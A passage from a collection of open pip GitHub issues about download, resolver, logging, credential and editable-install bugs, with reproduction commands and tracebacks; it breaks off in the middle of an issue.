  WARNING: Requested importlib_metadata==4.11.1 from https://files.pythonhosted.org/packages/82/10/600b88188a4e94562cfdf202ef1aca6fedda0723acae8a47376350ec0d5d/importlib_metadata-4.11.1.tar.gz#sha256=175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c, but installing version 0.0.0
Discarding https://files.pythonhosted.org/packages/82/10/600b88188a4e94562cfdf202ef1aca6fedda0723acae8a47376350ec0d5d/importlib_metadata-4.11.1.tar.gz#sha256=175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c (from https://pypi.org/simple/importlib-metadata/) (requires-python:>=3.7): Requested importlib_metadata==4.11.1 from https://files.pythonhosted.org/packages/82/10/600b88188a4e94562cfdf202ef1aca6fedda0723acae8a47376350ec0d5d/importlib_metadata-4.11.1.tar.gz#sha256=175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c has inconsistent version: filename has '4.11.1', but metadata has '0.0.0'
ERROR: Could not find a version that satisfies the requirement importlib_metadata==4.11.1 (from versions: 0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0.10, 0.11, 0.12, 0.13, 0.14, 0.15, 0.16, 0.17, 0.18, 0.19, 0.20, 0.21, 0.22, 0.23, 1.0.0, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.2.0, 1.3.0, 1.4.0, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.6.1, 1.7.0, 2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 3.0.0, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.8.0, 3.8.1, 3.8.2, 3.9.0, 3.9.1, 3.10.0, 3.10.1, 4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.3.0, 4.3.1, 4.4.0, 4.5.0, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.7.0, 4.7.1, 4.8.0, 4.8.1, 4.8.2, 4.8.3, 4.9.0, 4.10.0, 4.10.1, 4.11.0, 4.11.1)
ERROR: No matching distribution found for importlib_metadata==4.11.1
```




This works but gets a very old version after trying to fetch almost all versions:
```
$ pip download --no-binary=:all: --dest wheels/   --no-build-isolation --no-deps importlib_metadata
Collecting importlib_metadata
  Using cached importlib_metadata-4.11.1.tar.gz (42 kB)
  Preparing metadata (pyproject.toml) ... done
Discarding https://files.pythonhosted.org/packages/82/10/600b88188a4e94562cfdf202ef1aca6fedda0723acae8a47376350ec0d5d/importlib_metadata-4.11.1.tar.gz#sha256=175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c (from https://pypi.org/simple/importlib-metadata/) (requires-python:>=3.7): Requested importlib_metadata from https://files.pythonhosted.org/packages/82/10/600b88188a4e94562cfdf202ef1aca6fedda0723acae8a47376350ec0d5d/importlib_metadata-4.11.1.tar.gz#sha256=175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c has inconsistent version: filename has '4.11.1', but metadata has '0.0.0'
[....]
  Using cached importlib_metadata-0.7.tar.gz (16 kB)
  Preparing metadata (pyproject.toml) ... done
Saved ./wheels/importlib_metadata-0.7.tar.gz
Successfully downloaded importlib_metadata
```
or  this works without `--no-build-isolation` but takes a very long time to complete which makes it impractical to use.

```
$ time pip download --no-binary=:all: --dest wheels/   --no-deps importlib_metadata==4.11.1
Collecting importlib_metadata==4.11.1
  File was already downloaded /home/pombreda/tmp/pipo/wheels/importlib_metadata-4.11.1.tar.gz
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... done
  Preparing metadata (pyproject.toml) ... done
Successfully downloaded importlib_metadata

real	0m46.409s
user	0m42.389s
sys	0m2.196s
```



### Expected behavior

The sdist should be downloaded alright, reasonably fast and never fail.

BUT instead of reading the sdist PKG-INFO metadata (which IMHO should not even ever be opened), pip opens the setup.cfg which is using setuptools_scm and fails.... because there is no version there. And fails because it somehow would need setuptools_scm to read a PKG-INFO file?

Instead the command (without `--no-build-isolation`) eventually works but takes forever because it is somehow running something... I would expect a mere read of the metadata not to require running anything for an sdist. I would expect reading metadata not even br needed for a --no-deps download.

So with all these, it becomes rather hard to reliably or practically fetch ONLY the sdist: either it takes a long time, or it fails, or is incorrect (returning a very old version like in the first example above)

### pip version

pip 22.0.3 

### Python version

3.9

### OS

linux

### How to Reproduce

pip download --no-binary=:all: --dest wheels/   --no-build-isolation importlib_metadata==4.11.1

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pombredanne
labels: resolution: wrong project: Should be reported elsewhere
resolution: not a bug: Determined as not a bug in pip
issue_10915: state: open
title: --quiet suppression of progress bar not honored when specifying custom log location with --log /path/to/log.log
body: ### Description

when executing pip using both `--quiet` and `--log`, the progress bar is shown.

primarily using python 3.8 with pip version 21.1.1 on linux, however tested to see the same behavior with python 3.10 & pip 21.3.1 on windows. commands executed:

linux (python 3.8, pip 21.1.1): `python3.8 -m pip install --quiet --no-cache-dir --no-deps --log ./test.log --target ./test numpy`
windows (python 3.10, pip 21.3.1): `python -m pip install --quiet --no-cache-dir --no-deps --log ./test.log --target ./test numpy`

in this case, we're automatically creating necessary archives for lambda layers so we don't want any additional noise except errors, etc, which we're already capturing.

### Expected behavior

expected behavior: completely silent output including no progress bar.

### pip version

21.1.1

### Python version

3.8

### OS

linux

### How to Reproduce

run `python -m pip install --quiet --no-cache-dir --no-deps --log ./test.log --target ./test numpy` to see progress bar

run `python -m pip install --quiet --no-cache-dir --no-deps --target ./test numpy` to see silent operation

### Output

```sh-session
python3.8 -m pip install --quiet --no-cache-dir --no-deps --log ./test.log --target ./test numpy
     |████████████████████████████████| 16.8 MB 2.5 MB/s

python3.8 -m pip install --quiet --no-cache-dir --no-deps --target ./test numpy
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ghost
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10910: state: open
title: Inconsistent `-` <> `_` normalization makes `actions/cache` fail
body: ### Description

I'm encountering another variation of https://github.com/pypa/pip/issues/10757.

In my `requirement .txt` I install:
```
etils[array-types] @ git+git://github.com/google/etils
```
In my github action, when installing with `pip install -e .`, this work fine. However, when trying to cache in github action:

```yaml
    - uses: actions/setup-python@v2
      with:
        python-version: 3.7

    # The cache is refreshed everyday.
    - uses: actions/cache@v2
      with:
        path: ${{ env.pythonLocation }}

    - run: pip install -e .  # <<< FAIL when restoring the cache
```

Raises:

```
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line [27], in requires
    "%s has no such extra feature %r" % (self, ext)
pip._vendor.pkg_resources.UnknownExtra: etils 0.4.0 has no such extra feature 'array_types'
```

Somewhere, `array-types` got normalised to `array_types`, which makes the installation fail.


### Expected behavior

pip should be internally consistent when normalizing `-` <> `_` (e.g. `-` should be used every where).
Currently `pip` sometimes normalize `-` -> `_` which create failures during instalations.

### pip version

22.0.3

### Python version

3.7

### OS

Linux

### How to Reproduce

I could only reproduce the issue on Github.
See: https://github.com/google-research/jax3d/runs/5198336972?check_suite_focus=true

### Output

```sh-session
Run pip install --upgrade -e .
  pip install --upgrade -e .
  shell: /usr/bin/bash -e {0}
  env:
    pythonLocation: /opt/hostedtoolcache/Python/3.7.1[2](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:2)/x64
    LD_LIBRARY_PATH: /opt/hostedtoolcache/Python/[3](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:3).7.12/x6[4](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:4)/lib
Obtaining file:///home/runner/work/jax3d/jax3d
  Installing build dependencies: started
  Installing build dependencies: finished with status 'done'
  Checking if build backend supports build_editable: started
  Checking if build backend supports build_editable: finished with status 'done'
  Getting requirements to build wheel: started
  Getting requirements to build wheel: finished with status 'done'
  Preparing metadata (pyproject.toml): started
  Preparing metadata (pyproject.toml): finished with status 'done'
ERROR: Exception:
Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2741, in requires
    deps.extend(dm[safe_extra(ext)])
KeyError: 'array_types'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
    status = run_func(*args)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/cli/req_command.py", line 20[5](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:5), in wrapper
    return func(self, options, args)
  File "/opt/hostedtoolcache/Python/3.7.12/x[6](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:6)4/lib/python3.[7](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:7)/site-packages/pip/_internal/commands/install.py", line 340, in run
    reqs, check_supported_wheels=not options.target_dir
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 75, in resolve
    collected = self.factory.collect_root_requirements(root_reqs)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 50[8](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:8), in collect_root_requirements
    requested_extras=(),
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 473, in _make_requirement_from_install_req
    version=None,
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 1[9](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:9)3, in _make_candidate_from_link
    version=version,
  File "/opt/hostedtoolcache/Python/3.7.[12](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:12)/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 319, in __init__
    version=version,
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line [15](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:15)8, in __init__
    self.dist = self._prepare()
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 227, in _prepare
    dist = self._prepare_distribution()
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 323, in _prepare_distribution
    return self._factory.preparer.prepare_editable_requirement(self._ireq)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 6[16](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:16), in prepare_editable_requirement
    req.check_if_exists(self.use_user_site)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/req/req_install.py", line 390, in check_if_exists
    existing_dist = get_default_environment().get_distribution(self.req.name)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_internal/metadata/pkg_resources.py", line [24](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:24)9, in get_distribution
    self._ws.require(name)
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 900, in require
    needed = self.resolve(parse_requirements(requirements))
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 794, in resolve
    new_requirements = dist.requires(req.extras)[::-1]
  File "/opt/hostedtoolcache/Python/3.7.12/x64/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line [27](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:27)[44](https://github.com/google-research/jax3d/runs/5198086942?check_suite_focus=true#step:6:44), in requires
    "%s has no such extra feature %r" % (self, ext)
pip._vendor.pkg_resources.UnknownExtra: etils 0.4.0 has no such extra feature 'array_types'
Error: Process completed with exit code 2.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Conchylicultor
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10902: state: open
title: Using multiple PIP indexes on the same hostname with different credentials does not work
body: ### Description

I have a need to simultaneously access two PIP indexes from the same hostname (pkgs.dev.azure.com) but using different credentials.

When configuring it like this:

```
PIP_INDEX_URL=https://build:password1@pkgs.dev.azure.com/feed1
PIP_EXTRA_INDEX_URL=https://build:password2@pkgs.dev.azure.com/feed2
```

pip seems to try credentials for feed2 for both feed1 and feed2 failing my builds.

I've worked around this for now by setting the same credentials for both feeds.

### Expected behavior

feed1 credentials are used with feed1 and feed2 credentials are used with feed2

### pip version

21.1.3

### Python version

3.9

### OS

linux

### How to Reproduce

1. Create two Azure feeds in different organizations, for example pkgs.dev.azure.com/org1/_packaging/org-feed/pypi/simple and pkgs.dev.azure.com/org2/_packaging/org-feed/pypi/simple
2. Upload package1 to feed1, package2 to feed2
3. Generate different personal access tokens PAT1 and PAT2 for the two feeds
4. Set  environment variables ``IP_INDEX_URL=https://build:PAT1@pkgs.dev.azure.com/org1/_packaging/org-feed/pypi/simple` and `PIP_EXTRA_INDEX_URL=https://build:PAT2@pkgs.dev.azure.com/org2/_packaging/org-feed/pypi/simple`
5. Run `pip install package1 package2`

### Output

```sh-session
pip interactively prompts for username breaking the build instead of installing the two packages.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: roman-kouzmenko
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
C: finder: PackageFinder and index related code
issue_10894: state: open
title: Handle compatible libc-based manylinux/musllinux platform tags
body: Closes #10760 

user: q0w
issue_10891: state: open
title: Some Editable Packages not Installed
body: ### Description

When specifying an editable package in requirements.txt to install, it does not install under some conditions. The functionality works as expected for pip < 22.0.

### Expected behavior

For the local editable package to be installed, like with pip versions below 22.0.

### pip version

\>=22.0.0

### Python version

3.7.12

### OS

macOS Big Sur 11.6.3

### How to Reproduce

_requirements.txt_
```
-e .[dev]
-e ./src/my_sdk/
-e ./src/
```

_setup.py_
```python
# Snippet
extras_require={
    "dev": [
        "boto3~=1.20.0",
        "boto3-stubs[essential,stepfunctions,comprehend,sagemaker-runtime,rds,secretsmanager]",
    ]
},
```

_/src/setup.py_
```python
from setuptools import find_packages, setup

setup(
    name="my-src",
    packages=find_packages(),
)
```

Running `pip install -r requirements.txt` does not install the "my-src" package.

```
my-sdk                        0.9.0         /Users/me/repo/src/my_sdk
```

 However, the following differences work as expected:
* `pip install -e ./src/`
* Removing `-e .[dev]` from requirements.txt
* Using pip <22.0.0

The above methods result in the following being installed and importable:
```
my-app                        1.0.0         # this is the package in `src`
my-sdk                        0.9.0         /Users/me/repo/src/my_sdk
my-src                        0.0.0         /Users/me/repo/src
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: joel-aws
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10885: state: open
title: Problem with aiohttp package during package installation in pip
body: ### Description

Running command prompt as administrator

C:\Windows\system32>pip install terality
Collecting terality
  Using cached terality-0.13.12-py3-none-any.whl (108 kB)
Requirement already satisfied: pandas<2.0.0,>=1.0.0 in c:\program files\python310\lib\site-packages (from terality) (1.3.5)
Collecting boto3<1.19.9,>=1.19.8
  Using cached boto3-1.19.8-py3-none-any.whl (131 kB)
Requirement already satisfied: python-dateutil<3.0.0,>=2.8.1 in c:\program files\python310\lib\site-packages (from terality) (2.8.2)
Collecting aiobotocore<3.0,>=2.0
  Using cached aiobotocore-2.1.0.tar.gz (54 kB)
  Preparing metadata (setup.py) ... done
Collecting typing_extensions<4.0.0,>=3.10.0
  Using cached typing_extensions-3.10.0.2-py3-none-any.whl (26 kB)
Requirement already satisfied: pydantic<2.0.0,>=1.7.3 in c:\program files\python310\lib\site-packages (from terality) (1.8.2)
Collecting pyarrow<7.0.0,>=6.0.0
  Using cached pyarrow-6.0.1-cp310-cp310-win_amd64.whl (15.5 MB)
Requirement already satisfied: urllib3>=1.26.0 in c:\program files\python310\lib\site-packages (from terality) (1.26.7)
Requirement already satisfied: protobuf<4.0.0,>=3.9.1 in c:\program files\python310\lib\site-packages (from terality) (3.19.1)
Requirement already satisfied: numpy<2.0,>=1.18 in c:\program files\python310\lib\site-packages (from terality) (1.21.5)
Collecting sentry-sdk<2.0.0,>=1.3.0
  Using cached sentry_sdk-1.5.4-py2.py3-none-any.whl (143 kB)
Collecting single-source<0.2.0,>=0.1.5
  Using cached single_source-0.1.5-py3-none-any.whl (5.7 kB)
Requirement already satisfied: requests<3.0.0,>=2.26.0 in c:\program files\python310\lib\site-packages (from terality) (2.26.0)
Requirement already satisfied: click<9.0.0,>=8.0.1 in c:\program files\python310\lib\site-packages (from terality) (8.0.3)
Collecting cloudpickle<3.0.0,>=2.0.0
  Using cached cloudpickle-2.0.0-py3-none-any.whl (25 kB)
Requirement already satisfied: tqdm<5.0.0,>=4.62.3 in c:\program files\python310\lib\site-packages (from terality) (4.62.3)
Collecting botocore<1.23.25,>=1.23.24
  Using cached botocore-1.23.24-py3-none-any.whl (8.4 MB)
Requirement already satisfied: aiohttp>=3.3.1 in c:\program files\python310\lib\site-packages (from aiobotocore<3.0,>=2.0->terality) (3.8.1)
Requirement already satisfied: wrapt>=1.10.10 in c:\program files\python310\lib\site-packages (from aiobotocore<3.0,>=2.0->terality) (1.13.3)
Collecting aioitertools>=0.5.1
  Using cached aioitertools-0.8.0-py3-none-any.whl (21 kB)
Collecting jmespath<1.0.0,>=0.7.1
  Using cached jmespath-0.10.0-py2.py3-none-any.whl (24 kB)
Collecting s3transfer<0.6.0,>=0.5.0
  Using cached s3transfer-0.5.1-py3-none-any.whl (79 kB)
INFO: pip is looking at multiple versions of aiobotocore to determine which version is compatible with other requirements. This could take a while.
Collecting aiobotocore<3.0,>=2.0
  Using cached aiobotocore-2.0.1.tar.gz (54 kB)
  Preparing metadata (setup.py) ... done
Collecting botocore<1.22.9,>=1.22.8
  Using cached botocore-1.22.8-py3-none-any.whl (8.1 MB)
Requirement already satisfied: colorama in c:\program files\python310\lib\site-packages (from click<9.0.0,>=8.0.1->terality) (0.4.4)
Requirement already satisfied: pytz>=2017.3 in c:\program files\python310\lib\site-packages (from pandas<2.0.0,>=1.0.0->terality) (2021.3)
Requirement already satisfied: six>=1.5 in c:\program files\python310\lib\site-packages (from python-dateutil<3.0.0,>=2.8.1->terality) (1.16.0)
Requirement already satisfied: certifi>=2017.4.17 in c:\program files\python310\lib\site-packages (from requests<3.0.0,>=2.26.0->terality) (2021.10.8)
Requirement already satisfied: charset-normalizer~=2.0.0 in c:\program files\python310\lib\site-packages (from requests<3.0.0,>=2.26.0->terality) (2.0.9)
Requirement already satisfied: idna<4,>=2.5 in c:\program files\python310\lib\site-packages (from requests<3.0.0,>=2.26.0->terality) (3.3)
ERROR: Could not install packages due to an OSError: [Errno 2] No such file or directory: 'c:\\program files\\python310\\lib\\site-packages\\aiohttp-3.8.1.dist-info\\METADATA'

### Expected behavior

_No response_

### pip version

pip 22.0.3

### Python version

Python 3.10

### OS

Windows 10

### How to Reproduce

Get any package from pip. I don't know how this aiohttp came into play in all of this.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MasterKavi-24
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10882: state: open
title: Consider doing release candidates
body: ### What's the problem this feature will solve?

This is a very popular project and used by millions. Still, it is possible that some major version might break functionality or interoperability with other software. This is normal and expected, but when it happens it is stressful for the project users and also for its developers. Also adds hours of work for many people analyzing and fixing their broken builds or project owners developing fixes during inconvenient time.

### Describe the solution you'd like

Please consider releasing a -rc1 version a few days before releasing a new minor or major version.

For example, a few days before releasing 22.1.0 please release 22.1.0rc1. So the "pip install --upgrade --pre pip" will install it. Then some users might use "--pre" it for their development builds and might notice any error, report it and allow to fix it in 22.1.0rc2 and so on. When 22.1.0 will be released there's higher probability that there won't be any breaking changes.

### Alternative Solutions

Some might prefer to pin pip version to a known working version instead. But this is not a good solution, as this program interacts with online service, and might just break because of the service changes. Also it makes people use unmaintained version after months and years. And passing time makes it harder and harder to upgrade, while skipping over many major releases, further pushing people to use more and more outdated releases.

### Additional context

I think if there was a release pip-22.0.0rc1 a few days before pip-22.0.0, and documented recommendation to use "--pre" in development builds, errors related to #10825 might have been avoided. And it was stressful for many, at least based on comments tone there.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tometzky
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_10881: state: open
title: pip list --format json output ends with \x1b[0m -> JSONdecode error
body: ### Description

Using version 22.0.3 the output of pip list ends with \x1b[0m. (version 21.3.1 does not have this issue)
For **pip list** this is not the problem, but **pip list --format json** has the same behaiour.
-> json.decoder.JSONDecodeError: Extra data

The following options do not change the behaviour.
- --disable-pip-version-check
- --no-python-version-warning 
- --no-color


### Expected behavior

**pip list --format json** should end with a line seperator.

### pip version

22.0.3

### Python version

3.9.7

### OS

Win10

### How to Reproduce

```
import json
import subprocess
json.loads(subprocess.check_output(("pip", "list", "--format", "json"))
```

### Output

```sh-session
json.decoder.JSONDecodeError: Extra data
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jamtwister
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
state: needs reproducer: Need to reproduce issue
C: output: Related to what pip prints
issue_10880: state: open
title: further thoughts about pip as an HTML5 reader
body: ### Description

As [Donald Stufft pointed out](https://github.com/pypa/pip/issues/10868#issuecomment-1028647881), the HTML5 spec has different requirements for HTML5 writers versus parsers, and in fact, the [13.1 Writing HTML documents](https://html.spec.whatwg.org/#writing) part of the spec explicitly says that the section "does not apply to conformance checkers", so we were looking at the wrong section when we added a DOCTYPE regex to `handle_decl()`. If pip is going to continue to want to validate the HTML5 (i.e. be a conformance checker, which some of us have said should not be PIP's job, and which @dstufft said his [PEP 503](https://www.python.org/dev/peps/pep-0503/) is ambiguous about), then the [13.2 Parsing HTML documents](https://html.spec.whatwg.org/#parsing) section is what needs to be followed.

It is a complicated spec, so it will take some careful reading to figure out what exactly is required for HTML5 validation, but one thing I found is that the parser also [allows for "PUBLIC"](https://html.spec.whatwg.org/#after-doctype-public-keyword-state) to be in the `<!DOCTYPE ...>`, which is not mentioned for the writer, so that is definitely a problem [in the regex](https://github.com/pypa/pip/pull/10869/files#diff-6a334a312dbfe5998b0e0826594f38bc2cc4fc69e7d285580fd323b3a9d69e1cR413).

### Expected behavior

When using a [Simple Repository API repo](https://www.python.org/dev/peps/pep-0503/) that outputs a `<!DOCTYPE ...>` that has "PUBLIC" in it. Expected behavior is not to get a warning saying "does not have a proper HTML doctype declaration," but `pip` would give that warning.

### pip version

22.0.3

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ppena-LiveData
labels: state: needs discussion: This needs some more discussion
type: deprecation: Related to deprecation / removal.
issue_10873: state: open
title: `ResolutionImpossible` error message does not distinguish between extras
body: ### Description

If a package has extras with conflicting dependencies, the error message displayed by pip does not clarify which extras triggered the conflict, and also produces an error message with is rather confusing. Example (see steps to reproduce):

```
The conflict is caused by:
    resolution-impossible-with-extras[extra1,extra2,extra3] 0.0.0 depends on pandas<2 and >=1.3
    resolution-impossible-with-extras[extra1,extra2,extra3] 0.0.0 depends on pandas==1.4.1
```

This happens when `extra1` asks for `pandas==1.4.0` and `extra2` asks for `pandas==1.4.1`. `extra3` has nothing to do with the conflict, but from the error message it's impossible to tell. In addition, the error message never mentions neither which extras that caused the issue, nor the actual issue, as `pandas==1.4.0` is never mentioned.

### Expected behavior

It should point to the extras that triggered the `ResolutionImpossible` error in a clear way.

### pip version

22.0.2

### Python version

3.9

### OS

Ubuntu 21.10

### How to Reproduce

Create a `setup.cfg` with the following content:

```
[metadata]
name = resolution_impossible_with_extras

[options]
install_requires =
    pandas >=1.3, <2

[options.extras_require]
extra1 = 
    pandas==1.4.0
extra2 = 
    pandas==1.4.1
extra3 = 
    numpy==1.22.1
```

and an "empty" `setup.py` like the following content:

```
from setuptools import setup
setup()
```

Then execute in the same folder:
```
pip install .[extra1,extra2,extra3]
```

### Output

```sh-session
Processing /path/to/folder/resolution-impossible-with-extras/package
  Preparing metadata (setup.py) ... done
Requirement already satisfied: pandas<2,>=1.3 in /path/to/folder/resolution-impossible-with-extras/venv/lib/python3.9/site-packages (from resolution-impossible-with-extras==0.0.0) (1.4.0)
ERROR: Cannot install resolution-impossible-with-extras[extra1,extra2]==0.0.0 because these package versions have conflicting dependencies.

The conflict is caused by:
    resolution-impossible-with-extras[extra1,extra2,extra3] 0.0.0 depends on pandas<2 and >=1.3
    resolution-impossible-with-extras[extra1,extra2,extra3] 0.0.0 depends on pandas==1.4.1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ZanSara
labels: C: dependency resolution: About choosing which dependencies to install
state: awaiting PR: Feature discussed, PR is needed
C: error messages: Improving error messages
issue_10843: state: open
title: Add clear documentation about yanked releases
body: Currently, it's difficult for newcomers to understand what "yanked" releases are.

It might make sense to replicate the motivation from PEP 592, about this:

> Whenever a project detects that a particular release on PyPI might be broken, they oftentimes will want to prevent further users from inadvertently using that version. However, the obvious solution of deleting the existing file from a repository will break users who have followed best practices and pinned to a specific version of the project.
>
> This leaves projects in a catch-22 situation where new projects may be pulling down this known broken version, but if they do anything to prevent that they'll break projects that are already using it.
> 
> By allowing the ability to "yank" a file, but still make it available for users who are explicitly asking for it, this allows projects to mitigate the worst of the breakage while still keeping things working for projects who have otherwise worked around or didn't hit the underlying issues.

This would also be a good place to link to other resources, such as a guide for how to yank a release on PyPI.
user: pradyunsg
labels: type: docs: Documentation related
issue_10837: state: open
title:  Add per-requirement ``--no-deps`` option support in requirements.txt
body: Closes #9948
user: q0w
issue_10824: state: open
title: Heisenbug when installing with --constraint
body: ### Description

OS: macOS v11.6
pip: 21.2.3 
Python 3.6.

ScanCode Toolkit is using a --constraint installation that fails sometimes. For instance on macOS with Python 3.6
- `wget https://github.com/nexB/scancode-toolkit/releases/download/v30.1.0/scancode-toolkit-30.1.0_py36-macos.tar.xz`
- `tar -xf scancode-toolkit-30.1.0_py36-macos.tar.xz`
- `cd scancode-toolkit-30.1.0`
- `./configure` --> this runs:
```pip install --no-index --find-links `pwd`/thirdparty  --upgrade --no-build-isolation --editable . --constraint requirements.txt```
which fails sometimes with the cryptic message:

> Processing ./thirdparty/zipp-3.4.1-py3-none-any.whl
> ERROR: Cannot install scancode-toolkit==30.1.0 because these package versions have conflicting dependencies.
> 
> The conflict is caused by:
>     scancode-toolkit 30.1.0 depends on intbitset<3.0 and >=2.3.0
>     The user requested (constraint) intbitset==2.4.1
> 
> To fix this you could try to:
> 1. loosen the range of package versions you've specified
> 2. remove package versions to allow pip attempt to solve the dependency conflict
> 
> ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies

- This works fine 99% on all other machines and across OSes.
- `intbitset==2.4.1` is available as a pre-built wheel under thirdparty/ alright


I am at lost to find a way to diagnose the issue. These kind of issues started randomly with the new resolver.

The pip version used is the one bundled in the included  https://github.com/pypa/get-virtualenv/raw/20.7.2/public/virtualenv.pyz  
that I include in my etc/thirdparty for easy bootstrapping 



### Expected behavior

I would like to be able to trace the installation issue.

### pip version

21.2.3 

### Python version

3.6

### OS

macOS v11.6

### How to Reproduce

ScanCode Toolkit is using a --constraint installation that fails sometimes. For instance on macOS with Python 3.6
- `wget https://github.com/nexB/scancode-toolkit/releases/download/v30.1.0/scancode-toolkit-30.1.0_py36-macos.tar.xz`
- `tar -xf scancode-toolkit-30.1.0_py36-macos.tar.xz`
- `cd scancode-toolkit-30.1.0`
- `./configure` 

### Output

```sh-session
See above for details
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pombredanne
labels: type: bug: A confirmed bug or unintended behavior
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_10822: state: open
title: Remove tenacity dependency
body: ### What's the problem this feature will solve?

Tenacity dependency introduces a lot of issues, but it is used only in one pip's function. Removing this dependency will solve all class of issues with pip.

Tenacity seems to be bloated package with poor support of dependencies (see tornado issue). It is an unnecessary complication, which introduces requirement of patching and solving problems which can be simply ommited by not using it.



### Describe the solution you'd like

To solve the problem change this:
```
@retry(reraise=True, stop=stop_after_delay(3), wait=wait_fixed(0.5))                                
     def rmtree(dir: str, ignore_errors: bool = False) -> None:                                          
